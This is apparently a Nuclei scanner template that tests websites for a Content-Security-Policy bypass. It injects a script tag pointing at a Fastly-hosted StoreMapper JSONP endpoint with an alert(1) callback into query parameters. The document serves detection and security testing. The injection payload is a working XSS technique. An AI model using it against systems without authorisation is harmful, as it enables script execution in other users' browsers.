id: fastly-storemapper-csp-bypass

info:
  name: Content-Security-Policy Bypass - Fastly StoreMapper
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,fastly-storemapper,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "fastly.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: fastly_storemapper_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://storemapper-herokuapp-com.global.ssl.fastly.net/api/users/9223/stores.js?callback=alert(1)-"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "fastly_storemapper_csp_xss == true"
# digest: 490a0046304402201f764aa73a839422580ff0a11e2ab521ac540ed306a9f63748e69b7ffbd8562402200bdd2eabaaf55282667c404c78e8c77262c4cef7cd4b0f76ed10684f170d7808:922c64590222798bb761d5b6d8e72950